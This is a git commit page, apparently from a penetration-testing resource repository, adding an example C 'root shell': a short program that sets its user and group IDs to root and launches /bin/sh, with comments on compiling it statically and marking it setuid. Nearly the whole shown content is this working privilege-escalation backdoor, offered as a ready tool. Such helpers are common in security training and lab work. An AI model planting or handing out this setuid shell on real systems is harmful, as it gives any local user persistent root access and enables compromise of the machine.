Add example c root-shells

This commit is contained in:
g0t mi1k
2021-11-24 10:08:49 +00:00
parent 7a0c657912
commit 9eca573017
6 changed files with 77 additions and 0 deletions

View File

@@ -0,0 +1,12 @@
// $ gcc -static -o root-shell root-shell.c
// $ chmod u+s root-shell
#include <unistd.h>
#include <stdlib.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/sh");
return 0;
}